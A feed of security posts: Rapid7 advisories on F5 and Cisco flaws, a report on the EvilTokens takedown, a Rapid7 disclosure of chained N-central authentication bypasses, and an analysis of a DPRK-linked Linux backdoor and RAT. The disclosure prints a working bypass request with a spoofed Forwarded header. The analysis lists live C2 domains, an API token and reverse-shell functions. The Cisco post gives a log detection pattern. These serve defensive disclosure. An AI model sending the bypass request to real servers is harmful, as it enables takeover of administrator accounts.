❌

Normal view

There are new articles available, click to refresh the page.
Yesterday — 24 September 2026Main stream

CVE-2026-94127: Critical Unauthenticated RCE in F5 BIG-IP APM

By: Rapid7
23 September 2026 at 04:43

Overview

On September 22, 2026, F5 published a security advisory for CVE-2026-94127, a critical heap-based buffer overflow vulnerability affecting F5 BIG-IP Access Policy Manager (APM). The vulnerability has a CVSS v3.1 score of 9.8. An unauthenticated attacker with network access to an affected virtual server may be able to achieve remote code execution (RCE) by sending specifically crafted traffic.

BIG-IP APM provides identity-aware access control for applications and other corporate resources and can integrate with authentication technologies including OAuth, OpenID Connect, and SAML. CVE-2026-94127 is not exposed in a default configuration: exploitation requires a BIG-IP virtual server with both an APM access policy and an OAuth profile configured. Because affected BIG-IP systems may process traffic at an organization's network edge, organizations using this configuration should prioritize remediation.

The vulnerability affects the data plane and does not expose the BIG-IP control plane. BIG-IP systems operating in Appliance mode are also affected.

F5 lists the following affected release trains and corresponding fixed hotfixes:

  • BIG-IP 21.1.0: versions prior to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG

  • BIG-IP 17.5.0: versions prior to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG

  • BIG-IP 17.1.0: versions prior to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG

As of September 22, 2026, CVE-2026-94127 has been added to the CISA KEV while a publicly available proof of concept was not confirmed.

Mitigation guidance

Organizations running affected F5 BIG-IP deployments should apply the appropriate F5 hotfix as soon as operationally feasible, particularly where a vulnerable APM and OAuth configuration is reachable from untrusted networks.

F5 lists the following remediation versions:

  • BIG-IP 21.1.0: update to Hotfix-BIGIP-21.1.0.2.0.30.22-ENG or later.

  • BIG-IP 17.5.0: update to Hotfix-BIGIP-17.5.1.9.0.160.12-ENG or later.

  • BIG-IP 17.1.0: update to Hotfix-BIGIP-17.1.3.5.0.41.14-ENG or later.

Administrators should first determine whether a BIG-IP APM access policy and an OAuth profile are configured together on a virtual server, since this configuration is required for exposure.

For organizations that cannot immediately apply the applicable update, F5 provides an iRule workaround through F5 Support. Customers should open a support case with F5 to obtain the vendor-provided workaround and follow F5's implementation guidance.

Rapid7 customers

Exposure Command, Vulnerability Management, and Nexpose

Exposure Command, Vulnerability Management, Nexpose customers can assess exposure to CVE-2026-94127 using vulnerability checks expected to be available in today’s (September 23) content release.

Updates

  • September 22, 2026: Initial publication.

Before yesterdayMain stream

Microsoft and partners disrupt EvilTokens, a comprehensive cybercrime service for financial fraud

22 September 2026 at 11:00

Microsoft, along with a group of industry partners, disrupted EvilTokens, a short-lived but highly consequential cybercrime platform that investigators linked to more than 12,000 compromised Microsoft customer email inboxes across more than 10,000 organizations globally, the company said Tuesday.

Acting on federal court order Sept. 15, Microsoft and partners seized 50 websites the phishing-as-a-service used for operations and disabled more than 175 domains linked to EvilTokens’ supporting infrastructure. 

EvilTokens, launched in February 2026, was “a powerful cybercrime platform that used AI at every step of the attack chain — from compromising email accounts to designing intricate roadmaps for financial fraud and scams,” Steven Masada, associate general counsel and general manager of Microsoft’s Digital Crimes Unit, wrote in a blog post.

About 1,000 cybercriminals used EvilTokens over the course of its operation, a Microsoft spokesperson told CyberScoop.

The service was centered on an AI-style chatbot that cybercriminals used to analyze victims’ inboxes, identify trusted relationships, payment authorizations and other sensitive details that could facilitate fraud.

“AI was not simply helping attackers write more convincing messages. It helped them decide who to target, who to impersonate, and how to most effectively exploit the relationship to extract as much money as possible,” Masada wrote. 

EvilTokens was one of the most widely used phishing-as-a-service platforms prior to its takedown. It facilitated business-email compromise campaigns by stealing session tokens that allowed cybercriminals to sift through a victim’s inbox and maintain persistent access.

“We cannot estimate the total fraud attributable to all EvilTokens activity. However, we were able to correlate at least 13 complaints filed with the FBI’s Internet Crime Complaint Center to EvilTokens-linked activity, representing approximately $1.7 million in reported losses,” a Microsoft spokesperson said. “Because many incidents go unreported and not all victims can be definitively linked to specific campaigns, we believe this is a conservative estimate.”

Victims of EvilTokens were largely concentrated in the United States, Canada, the United Kingdom, Australia, India and France, according to Microsoft. SpyCloud, which supported the takedown, identified compromised email domains spanning 79 countries.

Microsoft said it also identified two men behind EvilTokens — Felix Utomi and Waidi Segun Adams — and attributes the development and support of the platform to Storm-2992, a threat actor unaffiliated with any other known cybercrime groups.

The United Kingdom’s Metropolitan Police acted on that information Sept. 18 when it served warrants in the greater London area, arrested the men accused of making articles for use in fraud and money laundering and seized their digital devices.

The Metropolitan Police said it received information from Microsoft about EvilTokens’ administrators in August. Utomi and Adams were released on bail as the investigation continues. 

“The two primary operators identified in our investigation were residing in the U.K.,” a spokesperson for Microsoft told CyberScoop. “While our investigation focused on those individuals, we believe others may have supported the operation in various capacities.”

Microsoft’s legal filing in the U.S. District Court for the Eastern District of Virginia refers to five additional unidentified people allegedly acting as support personnel and users.

Microsoft and others involved in the EvilTokens takedown, including Health-ISAC, Cloudflare, OpenAI, Shadowserver and TRM Labs, didn’t fully quantify how much fraud the service enabled, but it gained popularity quickly among cybercriminals and was lucrative for its operators.

Coinbase, which also aided the investigation into EvilTokens, said it traced about $1.1 million in revenue for EvilTokens from its paying customers. The virtual currency company’s threat researchers found more than 1,000 deposits to EvilTokens from more than 700 distinct addresses through June 2026. 

Operators sold access to the service through Telegram for a $1,500 initiation fee and a recurring $500 subscription. EvilTokens significantly lowered the barrier to entry for cybercriminals by including specialized tools for identity attacks, cloud systems, social engineering and financial fraud in a single interface.

The service allowed cybercriminals to map organizational structure and permissions in Microsoft Graph, which enabled lateral movement, researchers said. With active tokens gained through a collection of highly-targeted phishing lures, cybercriminals consistently bypassed multi-factor authentication, email gateways and endpoint security tools.

Microsoft said the platform’s creators developed portions of the platform with AI and it uncovered capabilities from multiple AI models. 

“It packaged much of the criminal process into a commercially run service, complete with subscription pricing, customer support, management dashboards and tools designed to move customers from account access toward financial exploitation,” Masada added.

The companies and organizations involved in the globally-coordinated takedown identified and notified potential victims, shared indicators of compromise and shared intelligence with law enforcement about EvilToken’s operators and some of its customers.

Experts advised organizations and employees to treat unsolicited device codes as a red flag, assume compromised accounts are fully cataloged in minutes, and independently verify requests to change payment information or redirect funds.

“The infrastructure supporting EvilTokens has been disrupted, but the model it demonstrated will not disappear with it,” Masada warned.

The post Microsoft and partners disrupt EvilTokens, a comprehensive cybercrime service for financial fraud appeared first on CyberScoop.

CVE-2026-76461: Critical Cisco Secure Email Gateway Vulnerability Exploited in the Wild

By: Rapid7
15 September 2026 at 08:22

Overview

On September 14, 2026, Cisco published a security advisory for CVE-2026-76461, a critical SQL injection vulnerability affecting Cisco AsyncOS Software for Cisco Secure Email Gateway. The vulnerability has a reported CVSS v3.1 base score of 9.8 and could allow an unauthenticated, remote attacker to execute arbitrary commands with root privileges on an affected appliance.

Cisco Secure Email Gateway, formerly known as IronPort Email Security Appliance, is an enterprise email security product that inspects inbound and outbound email for threats including phishing, malware, spam, and business email compromise. Because affected gateways process externally delivered email as part of their normal operation, exploitation does not require access to an administrative interface or authentication. An attacker can reportedly trigger the vulnerability by sending a specially crafted email through a vulnerable gateway.

CVE-2026-76461 was added to CISA's Known Exploited Vulnerabilities (KEV) catalog on the same day as the vendor disclosed the vulnerability, indicating that CVE-2026-76461 was exploited as a zero-day prior to disclosure. Cisco noted that their PSIRT became aware of active exploitation in September 2026. At the time of publication, there is no public proof-of-concept exploit code available, and no attribution for the current threat actor activity.

Mitigation guidance

Organizations running Cisco Secure Email Gateway should prioritize upgrading to a vendor-supplied fixed version on an emergency basis, outside of normal patching cycles.

Affected Version

Fixed Version

15.5 and earlier

15.5.5-014

16.0

16.0.4-302

16.5

16.5.0-780

Given the reported active exploitation and the ability to achieve unauthenticated root-level command execution through malicious email processing, organizations should prioritize patching rather than relying solely on network controls or monitoring. Cisco also strongly recommends that customers migrate to the latest product version, 16.5.0-780.

For the latest remediation guidance, see the vendor advisory.

Indicators of compromise

The following indicators of compromise for CVE-2026-76461 were reported within the Cisco security advisory.

To confirm any attempted exploitation of this vulnerability, review the mail_logs and look for suspicious SQL statements. If the device is part of a cluster, review the logs of each cluster device. The following is a non-exhaustive example of how a malicious SQL statement could be detected in the logs:
cisco-esa> grep -i "COPY.*TO PROGRAM" [IronPort Text Mail Logs Log name - Default: mail_logs]
The presence of any entry in the output may indicate malicious activity.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-76461 with a vulnerability check expected to be available in the September 16 content release.

Updates

  • September 15, 2026: Initial publication.

CVE-2026-86206, CVE-2026-86207: N-able N-central Authentication Bypass (FIXED)

8 September 2026 at 07:01

Overview

While conducting research into a recent N-able N-central authentication bypass vulnerability (CVE-2026-18577), Rapid7 Labs discovered two new vulnerabilities affecting the latest version of N-central. When chained together, these two vulnerabilities allow a remote unauthenticated attacker to bypass authentication and create a new attacker-controlled System administrator account on an affected server.

CVE ID

Description

CWE

CVSSv4

CVE-2026-86206

Semicolon/Forwarded access-control bypass

CWE-791

6.9 (Medium)

CVE-2026-86207

UserTwoFactorLogin authentication bypass

CWE-305

7.7 (High)

Both CVE-2026-86206 and CVE-2026-86207 have been patched by the vendor via N-central 2026.3 Hotfix 3.

Product description

N-able N-central is an enterprise-grade Remote Monitoring and Management (RMM) platform designed for Managed Service Providers (MSPs) and IT departments to monitor, manage, and secure complex, large-scale networks from a centralized dashboard.

Credit

These vulnerabilities were discovered by Stephen Fewer, Senior Principal Security Researcher at Rapid7, and are being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Technical analysis

CVE-2026-86206

N-central exposes its management interface (TCP 8443 by default) through Envoy, an edge proxy. Envoy passes accepted requests to Jetty, the Java web server that hosts N-central's application. The application gives requests from the loopback address (i.e. 127.0.0.1) more access than requests from a remote system. This design depends on Envoy, Jetty, and the N-central access filter all agreeing on which application path the client requested and whether the client is really local. The following request can make them disagree about both of these things:

POST /dms;/services/ServerUI HTTP/1.1
Forwarded: for="127.0.0.\1"
Content-Type: text/xml; charset=utf-8
SOAPAction: ""

The semicolon in the URI and backslash in the Forwarded value introduce a discrepancy when processing the request that leads to an access control bypass. Looking at Figure 1 below, we can see an overview of how these two values are processed during an incoming malicious request.

nable_cvd_blog.png

Figure 1: Processing a malicious request.

The semicolon gets the request past Envoy

The Envoy proxy rules come from the n-central-proxy-4.5.6-5 package. In /etc/opt/envoy/lds_intermediate.yaml, shown below (and edited for brevity), the management listener returns HTTP 403 for paths beginning with /dms/services or /internal/dms. A final catch-all rule sends other paths to the DMS application.

  # /etc/opt/envoy/lds_intermediate.yaml:953
  - match:
      prefix: /internal/dms
    # response-header boilerplate omitted
    direct_response:
      status: 403
      body:
        inline_string: Forbidden. No API access on the UI port.
  # ...
  - match:
      prefix: /dms/services
    # response-header boilerplate omitted
    direct_response:
      status: 403
      body:
        inline_string: Forbidden. No API access on the UI port.
 # ...
 # /etc/opt/envoy/lds_intermediate.yaml:1301
 # A final catch-all rule...
  - match:
      prefix: /
    route:
      cluster: dms
      timeout:
        seconds: 300

Envoy compares those prefixes with the path it received. The path /dms;/services/ServerUI does not begin with /dms/services, because the next character after /dms is a semicolon. It therefore reaches the catch-all route, passing the request from Envoy to Jetty.

Jetty interprets the path differently. The shipped jetty-http-9.4.56.v20240826.jar contains org.eclipse.jetty.http.HttpURI, and org.eclipse.jetty.util.URIUtil. Together, these classes treat text beginning with a semicolon as a path parameter and remove it when producing the decoded path used for servlet dispatch. As a result, Jetty turns /dms;/services/ServerUI into /dms/services/ServerUI. That decoded path then matches the Axis SOAP servlet mapping in /opt/nable/webapps/ROOT/WEB-INF/web.xml. 

<!-- /opt/nable/webapps/ROOT/WEB-INF/web.xml -->
<!-- ...snip... -->

   <servlet>
        <servlet-name>DMSServlet</servlet-name>
        <servlet-class>org.apache.axis.transport.http.AxisServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DMSServlet</servlet-name>
        <url-pattern>/dms/services/*</url-pattern>
        <url-pattern>/internal/dms/services/*</url-pattern>
    </servlet-mapping>

    <servlet>
        <display-name>CXF Servlet</display-name>
        <servlet-name>CXFServlet</servlet-name>
        <servlet-class>org.apache.cxf.transport.servlet.CXFServlet</servlet-class>
        <load-on-startup>2</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>CXFServlet</servlet-name>
        <url-pattern>/dms2/services2/*</url-pattern>
        <url-pattern>/internal/dms/services2/*</url-pattern>
    </servlet-mapping>

Similarly, the same technique can be used to target the SOAP service via /internal;/dms/services2/ServerUI2. Jetty decodes it to /internal/dms/services2/ServerUI2, which matches the CXF SOAP servlet mapping. A single semicolon is sufficient to create the routing disagreement.

Reaching these servlet mappings puts the request at the protected SOAP interfaces that an exploit can leverage to establish an application session and later manage privileged objects, but the semicolon trick alone does not authorize the request. Without the crafted Forwarded header, Jetty retains the client's real remote address and N-central's ServletPathFilter denies access. Conversely, the header trick alone cannot help a request to the ordinary /dms/services/ServerUI or /internal/dms/services2/ServerUI2 path: Envoy returns HTTP 403 without forwarding that request to Jetty. 

As such, an exploit needs both discrepancies; the semicolon to pass Envoy's path check and the header to pass N-central's local-request check.

The header makes the remote client look local

The Forwarded header tells an application about the original client behind a proxy. In a malicious request, the for value is quoted and contains a quoted-pair (\1):

Forwarded: for="127.0.0.\1"

Under the HTTP quoted-string grammar, the backslash escapes the following character. Jetty's ForwardedRequestCustomizer, from jetty-server-9.4.56.v20240826.jar, applies that rule. It removes the backslash, reads the value as 127.0.0.1, and exposes that value to N-central as the request's remote address.

N-central then parses the original header a second time. Its parser is in com.nable.util.LocalHostUtils, from /opt/nable/webapps/ROOT/WEB-INF/lib/dmsservice-11.0.1-SNAPSHOT.jar. This parser removes the surrounding quotes but does not remove the backslash. It therefore checks 127.0.0.\1.

That string is not a valid IP address. LocalHostUtils.xffCheck() rejects an invalid value found in X-Forwarded-For, but its Forwarded branch rejects only values that it successfully recognizes as loopback. The below (abridged) decompilation shows the relevant branch:

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.util.LocalHostUtils.xffCheck()

List<String> forwardedAddresses =
    LocalHostUtils.getForAddressesFromForwardedHeaders(httpRequest);

for (String addr : forwardedAddresses) {
    if (!LocalHostUtils.isLoopbackAddress(addr.trim())) continue; // <--- [1]
    // log the rejected loopback address
    return false; // <--- [2]
}
return true; // <--- [3]

When given the header value 127.0.0.\1, the isLoopbackAddress() call (at [1]) returns false (at [2]) because the value is invalid. The loop therefore continues and xffCheck() returns true (at [3]). In other words, an invalid Forwarded header value causes xffCheck to fail open. The final decision occurs in com.nable.server.ServletPathFilter, shown below.

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.server.ServletPathFilter.isAllowedRequest()

boolean isAllowedRequest(HttpServletRequest httpRequest) {
    if (!LocalHostUtils.xffCheck(httpRequest)) { // <--- [4]
        return false;
    }
    if (LocalHostUtils.isLocalhost(httpRequest)) { // <--- [5]
        return true; // <--- [6]
    }
    String path = this.removeTrailingSlashes(httpRequest.getRequestURI());
    return this.pathFilterService != null
        && this.pathFilterService.isPathAllowed(path);
}

The first check asks whether a forwarding header is trying to claim a loopback address (at [4]). N-central's parser sees the invalid value 127.0.0.\1, does not recognize it as loopback, and allows it. The second check asks whether Jetty's remote address is local (at [5]). Jetty has already converted the same header value to 127.0.0.1, so this check succeeds. The filter returns true (at [6]) before consulting the normal remote-path allowlist.

CVE-2026-86207

By leveraging CVE-2026-86206 to reach the protected URI /dms/services/ServerUI, a SessionID returned by the Session.Hello SOAP operation (See the prior work by Horizon3 on leveraging the legacy SOAP API) can be generated. However, this SessionID is only a pre-login session. It proves that the request reached the local-only SOAP API via the access control bypass, but it does not yet identify an authenticated user. A separate authentication bypass vulnerability, in how legacy two-factor authentication operates, allows a pre-login session to become an authenticated session.

The method com.nable.server.ui.UserTwoFactorLogin, from dmsservice-11.0.1-SNAPSHOT.jar (shown below), binds a requested user ID (e.g. the builtin N-able Administrator account’s well known ID 1) to the session (at [1]) before it attempts legacy two-factor authentication (at [2]) . A normal authentication rejection removes that binding (at [4]), but if an exception occurs, this binding is left in place (at [3]).

// dmsservice-11.0.1-SNAPSHOT.jar
// com.nable.server.ui.UserTwoFactorLogin

   public final String twoFactorLogin(int sessionID, int userID, String password) throws RemoteException {
        String response = null;
        try {
            this.updateSession(sessionID, userID); // <--- [1]
            T_User user = this.getUser(userID);
            response = this.authenticate(user, password); // <--- [2]
            Trace.info((Object)this, (String)("2FA authentication response for user '" + user.getUsername() + "': " + response));
            if (response != null && "ACCESS_OK".equals(response)) {
                String audit = "TWO FACTOR LOGIN SUCCESSFUL: UserID [" + userID + "] successfully logged in.";
                this.addSessionAuditEntry(sessionID, audit);
            } else {
                String audit = "TWO FACTOR LOGIN FAILED: UserID [" + userID + "] attempted to login with invalid PIN.";
                this.addSessionAuditEntry(sessionID, audit);
                this.makeSessionInvalid(sessionID); // <--- [4]
            }
        }
        catch (RemoteException re) {
            throw re; // <--- [3]
        }
        catch (Exception ex) {
            throw DMSError.getFault((String)CommonError.GENERIC_ERROR.getCodeAsString(), (String)ex.toString(), (Throwable)ex); // <--- [3]
        }
        return response;
    }

N-central supports two distinct second-factor systems: legacy, profile-based authentication using an external AuthAnvil or RSA SecurID server, and native time-based one-time password (TOTP) “Two-Step Verification” using an authenticator application. Despite overlapping 2FA/MFA terminology in N-able’s documentation, com.nable.server.ui.UserTwoFactorLogin implements the former profile-based mechanism; it does not enforce the user’s native TOTP setting.

In a default installation, legacy two-factor processing raises an exception for several builtin identities used by N-central, as each of these identities lack a single legacy AuthAnvil or RSA 2FA profile association required by UserTwoFactorLogin. Specifically the following built-in identities can be leveraged via their known ID numbers.

  • User ID 1 (N-able Administrator)

  • User ID 50 (Product Administrator)

  • User ID 51 (N-able Support)

By creating a new pre-login session for any one of the above IDs, a SOAP call to User.TwoFactorLogin with a dummy password will achieve the authentication bypass, converting the pre-login session to a privileged SOAP session for that user. By using additional calls to the ServerUI2 SOAP endpoint, a new attacker-controlled System user account can be created.

Remediation

The vendor-supplied release of N-central 2026.3 Hotfix 3 (version 2026.3.1.13) remediates both CVE-2026-86206 and CVE-2026-86207. All versions of N-central prior to 2026.3.1.13 are vulnerable. Customers running affected on-premise N-central environments are urged to apply the latest update on an urgent basis, outside of normal patching cycles.

Customers using hosted N-central environments do not need to take action as the vendor has applied the needed updates.

For the latest remediation guidance, please see the vendor release notes and the vendor disclosure blog.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM and Nexpose customers will be able to assess their exposure to both CVE-2026-86206 and CVE-2026-86207, with authenticated vulnerability checks expected to be available in the September 8 content release. 

Disclosure timeline

  • August 27, 2026: Rapid7 makes initial outreach to N-able who respond the same day.

  • August 28, 2026: Rapid7 provides a detailed technical analysis and exploit script to N-able, along with a proposed timeline for a coordinated disclosure.

  • September 5, 2026: N-able release N-central 2026.3 HF3 which fixes two of the vulnerabilities (CVE-2026-86206, CVE-2026-86207) reported by Rapid7.

  • September 7, 2026: Rapid7 contacts N-able requesting clarity on several issues. N-able responds the same day with requested information.

  • September 8, 2026: This disclosure for CVE-2026-86206 and CVE-2026-86207.

DPRK APTs: Ted backdoor and curlRAT target South Korean media and automotive sectors

4 September 2026 at 08:00

Overview

A new Linux toolkit, identified by Rapid7 Labs, has been targeting organizations across South Korea’s automotive and media industries with minimal detection. The campaign made use of a HAProxy instance named “ted backdoor”, alongside trojanized versions of crond, agetty, atd, sshd, and polkitd. This previously undocumented framework enabled threat actors to execute remote commands on compromised servers, inject malicious scripts into web traffic, perform credential harvesting, and engage in long-term surveillance.

The standout feature of this toolkit is its depth of integration with the target environment. The ted backdoor is compiled as part of the victim’s existing HAProxy version 2.8.12. It uses its native filter API, internal memory pools, event scheduler, and process management infrastructure to intercept traffic and hide from monitoring, while genuine load balancing traffic operates as expected.

Operating alongside this are an SSH keylogger, a curl-based RAT, and a stager. The RAT maintains a watchdog thread dedicated to tracking HAProxy’s health, and reporting it back to the operator’s infrastructure. The earliest uploads on VirusTotal date back to mid-2025 and the involved HAProxy 2.8.12-0fdb194 was released on 22 November 2024, establishing this as the earliest possible compilation date for this build.

The toolkit is attributed with medium confidence to DPRK APTs, given that the attacks Rapid7 observed were targeting South Korean media and automotive sectors, likely aiming at long-term espionage, the usage of simple xor-based encryption, custom substitution cipher, and the list of C2s hardcoded is associated to APT37 by ThreatFox and maltrail. Analysis shows that the ted backdoor could be part of a broader framework covering nginx backdoor as well. The ted plugin registers a custom HAProxy filter that hooks the HTTP parser to inspect and log high-value traffic, steal session cookies, and perform a client IP selection to decide whether to inject custom scripts in the webpage being rendered.

Technical analysis

Rapid7 researchers revealed that the toolkit was used in campaigns targeting South Korean automotive and media sectors likely dating back to early 2025. The number of trojanized binaries and functionalities found suggest the scope could be long-term cyber espionage and surveillance. However, gathered evidence does not suffice to establish a timeline nor how the initial access was performed.

At the time of analysis, both victims were running an edge webserver with ports 80, 443, and 25 exposed. Port 443 hosted the Groupware login portal and port 25 exposed a mail server. Either surface represents a plausible initial access vector consistent with documented Kimsuky tradecraft. Since the beginning of 2026 Kimsuky has been observed exploiting RCE vulnerabilities in externally accessible mail servers to compromise South Korean groupware vendors, while Groupware web portals represent the kind of exposed authenticated application that DPRK-nexus actors have repeatedly targeted for credential harvesting and exploitation. The specific entry point and any associated CVE remain unconfirmed pending further forensic evidence.

The scenario shown in Figure 1 assumes the initial access is obtained by exploitation of CVEs related to the Groupware portal.

ted-backdoor-attack-chain.png
Figure 1: Attack chain partially reconstructed

⠀

The threat actor begins by exploiting a vulnerability in the Groupware login portal running on the edge webserver, gaining an initial foothold in the DMZ. From there, they establish persistence and harvest credentials from the compromised edge host (e.g. SSH keylogger), which also doubles as a staging server hosting the trojanized system ELFs.

With a foothold on the edge, the attacker pivots inward and drops the stager onto internal servers. The stager checks for the presence of either crond or HAProxy, and only then deploys CurlRAT retrieving it either from its data section or the edge webserver. 

In parallel, ted backdoor is dropped onto the HAProxy load balancer. Once active,it establishes its own C2 channel to the external operator infrastructure, enabling data exfiltration, command execution, and script injection. On the victim side, the compromised load balancer silently redirects or serves malicious content to selected clients browsing through it, completing the watering-hole loop.

SSH keylogger

4bb923eb040aa13ca8fd409c31ee4729c60ddff32e350efe1c5a4a9168a065f5 intercepts legitimate users' plaintext passwords and saves them to an encrypted log file under /var/lib/sshd/c8c68e629bba773a10ac80012d10bf19.

figure2.png
Figure 2: hardcoded master passwords in userauth_passwd()

⠀

After checking that entered credentials are not equal to TA’s master passwords, userauth_passwd() proceeds to encrypt them using a custom substitution cipher recurring throughout the toolkit and base64 encoding.

fig3.png
Figure 3: Substitution cipher used to encrypt credentials

⠀

Pivoting from the above cipher, instances of polkitd, crond, agetty and atd binaries were identified using a similar encryption algorithm. Crond binaries were found to be delivered by a stager.

CurlRAT Stager

The stager 5db1b6d52faf60b4f32d6fd0c7c938e4d05d29a14c32ded4a9668357c08b6a91 starts by decrypting its configuration strings using a 1-byte XOR, then verifies root privileges and profiles the OS checking system hostname, OS distribution and version IDs, kernel release and version numbers and CPU architecture to select the correct payload to drop. It decrypts the trojanized crond binary in memory, overwrites the system's legitimate daemon, and restarts the service. As shown below, only if HAProxy or cron are running on the system will it proceed to drop the backdoored crond.

fig4.png
Figure 4: Stager configuration

⠀

Checking for HAProxy presence is done as the binary, named by TA as ted backdoor. It also has RAT capabilities and plays a major role in the campaigns described. The embedded crond versions supported are CentOS 7.7, 7.8, 7.9 and Ubuntu 22.04 and after installing the backdoor, timestomping ensures the crond binary gets the same creation timestamp of /usr/bin/ssh. The stager ends by filtering out keywords such as tmp, wget cron and crond from Linux system logs using a staging file named /tmp/jasper-log, likely to blend in as the JSP (JavaServer Pages) engine in old Apache Tomcat versions, erasing any traces of the installation. The logs affected by the selective erasure are /root/.bash_history and the following under /var/log: messages, audit/audit.log, cmd.log, secure, syslog, auth.log.

09739441ed4599bac2f8159028f772f71e4b25c8badfff95574e56d7384f3dbe and fea1bc36632c71e5a839803469ef60ac47595d36b2c50934ac109ade6df06e61 are a different variant of the stager that fetches backdoored binaries from a compromised victim’s server without embedding any payloads.

CurlRAT

The Ubuntu version is analyzed below, though CentOS samples follow the same logic except for the filepath used to hide config/staging files.

As for the stager, feeea9d0bf6ae7396d28271baa51ae50df5169ce5d32a516865856f91abc50b3 starts by decrypting configuration strings using a 1-byte XOR key (0x58).

fig5.png
Figure 5: curlRAT configuration

⠀

The main logic added to crond is executed via two threads. The first thread runs the start_routine function that creates the staging directory snapd under /var/lib, where it attempts to load the victim ID from /var/lib/snapd/g580. If network failures were previously recorded, it reaches out to a secondary domain – img.darklights.store – authenticating with api_token/ecd427ea8330a4ff73618483e00b9b41 and setting the User-token header to the victim ID to fetch updated configuration under /tmp/nimon.unix-docbase.8564479396043450766-db6fb4443bc, where it’s then copied into /var/lib/snapd/g105.

To decrypt the configuration, the first byte of the file initializes the seed of a feedback xor based cipher. Each poll cycle, a config file is fetched from the C2 server over HTTPS (falling back to HTTP on failure) using libcurl, with the victim token embedded in the User-token header. The fetched config is parsed for three single-character delimiters — ! terminates the credential field, # marks the payload section, and * separates arguments — after which the credential field is compared against the local victim token.

If authentication succeeds, a single-character mode byte (ASCII '0' through '5') preceding the delimiter “#” selects one of six handler routines via a jump table. Payloads embedded in the config are decoded through a two-stage pipeline: standard Base64 decoding followed by a rolling cumulative XOR cipher keyed from the decoded header. The C2 task handler sleeps for 43,200 seconds (12 hours) between polls by default, but the operator can activate a fast-poll mode by setting a flag, reducing the interval to 30 seconds. A retry loop calls the handler up to six times per cycle with five-second intervals, failing fast if the first attempt does not succeed. The table below shows the C2 commands accepted.

Mode

Function

Description

0

cmd execution

Base64 + XOR-decodes a command list from the config, executes each line via popen with stderr redirected to stdout, saves output into a 1 MB buffer, and sends the result back.

1

config write

Decodes and writes a new config payload to disk, validates it, and sets the polling interval and fast-poll flag. If the validation fails, the C2 resets to img.monderhouse.space

2

staged payload drop

Issues an authenticated HTTP POST to the C2 host with a task path as the body, streams the response to a temporary file, decompresses and moves it to the final drop path, unlinking the temp.

3

reverse shell

Closes all file descriptors above 2, calls setuid(0) and setreuid(0, 0), forcing both its real and effective user IDs to root, and connects out before handing off to the shell dispatcher.

4

beacon

Populates a 10 KB system-info structure and transmits it as a check-in beacon.

5

PTY shell

A full interactive PTY shell, the payload consists of an ip:port.

Modes 0–2 and 4 use libcurl-based HTTP/HTTPS, hence the name curlRAT. All modes use Base64+XOR encoding/decoding applied to the payload. The victim ID is obtained by concatenating "cron_3.0pl1-137ubuntu3", system hostname, ipv4 address, and the hardware/OS UUID (read from /sys/class/dmi/id/product_uuid), then applying MD5 hash and converting it to uppercase.

The layer of encryption used for all C2 interactions consists of a feedback xor cipher using an initial random seed (modulo 240 + 10, 0<=seed<=249) and then applying Base64 encoding. The malware encapsulates the encrypted and encoded payload, the service name, and the telemetry type into a formatted application/x-www-form-urlencoded HTTP POST body (name=%s&value=%s&type=%d) which is sent to the C2 and authenticated using an hardcoded API token, including the victim ID in the User-token header.

The second thread acts as the HAProxy watchdog. Before entering the monitoring loop, it checks for the presence of the file /usr/lib/libvirtlog.so.0 to ensure the target is running in a virtualized environment, otherwise it sleeps 6 minutes and aborts. Then it accesses the MD5 victim ID under /var/lib/snapd/g580 to check if the node is active and compromised. Every hour the watchdog reads the pid at /var/run/haproxy.pid and monitors the status of HAProxy by polling /proc/pid. The status can be one of the following codes:

  • 0 (Started): Process transitioned from stopped to running
  • 1 (Stopped): Process is no longer active in the kernel process table
  • 2 (Restarted): PID file timestamp modified, and a new PID is detected
  • 3 (Reloaded): PID file timestamp modified, but the PID remained identical

The status is then sent to the C2 endpoint “writeservice_info” using the custom crypto layer and the telemetry type set to 0 (Figure 6).

fig6.png
Figure 6: writeinfo_service monitoring HAProxy status

⠀

The CentOS versions of curlRAT contain the same functionalities, except that functions are masqueraded as atd_ routines to blend in during static analysis.

fig7.png
Figure 7: The two threads running curlRAT logic

⠀

Below is the table summarizing the main RAT components.

Capability Group

Functions Identified

Reverse Shell / PTY

atd_reverse_try_root, atd_reverse_create_conn, atd_reverse_is_alive, atd_reverse_open_pty, atd_reverse_cleanup_tty, atd_reverse_open_term, atd_reverse_handle_sigs, atd_reverse_close_inherited_sockets

C2 & Network Comms

atd_http_request, atd_response, atd_request, atd_download_to_file, atd_download_config, atd_encrypt_url, atd_decrypt_url, atd_check_haproxy, atd_write_callback

Host Profiling & Recon

atd_get_hostname_info, atd_check_info, atd_get_ip_info, atd_get_system_info, atd_get_version_info, atd_get_machine_info, atd_get_service_info, atd_create_id, atd_get_id

Command Execution & Crypto

atd_run_shell, atd_run_cmd, atd_run_module, atd_base64_encode, atd_base64_decode, atd_md5

Earlier version of the RAT hardcode C2 without using XOR encryption (Figure 8).

fig8.png
Figure 8: Default configuration curlRAT 8f30b57928934ae67478d0e690c91d046e35a638da098d02922a4a88a0fdb66c

⠀

The atd_get_info() is a recon routine likely used to decide which binary trojanized next to ensure persistence on the node. It collects the service name of the compromised machine and sends it to the C2 via the atd_response routine together with Ipv4 address, OS version, and the list of services and listening port (Figure 9).

image18.png
Figure 9: Recon module output sent to the C2

⠀

MODE, DELAY and SERVER_URL are parsed from the config file discussed previously. During the campaign observed by Rapid7, the RAT acts as a framework and constitutes the codebase to edit legitimate system daemons. Other trojanized instances found are agetty and polkitd, where we identified a similar pattern lacking the HAProxy monitor: the creation of a thread to run curlRAT, reaching to img.worksongo.store and img.socialteams.store respectively.

atd_encrypt_url and atd_decrypt_url leverages the substitution cipher “E1x0X3f2R5w4g7u6D968kAeCdBPEpDhGJF4IiHHKzJvMtLlOnNcQmPNSjR2UFTUWOVTYIXZZ5aWcQbbeqd7gYf3i8hykGjCmsl9oonrqSp0sVrauKtLwAvBy1xMz=.#,+/--__" shared with the ssh keylogger.

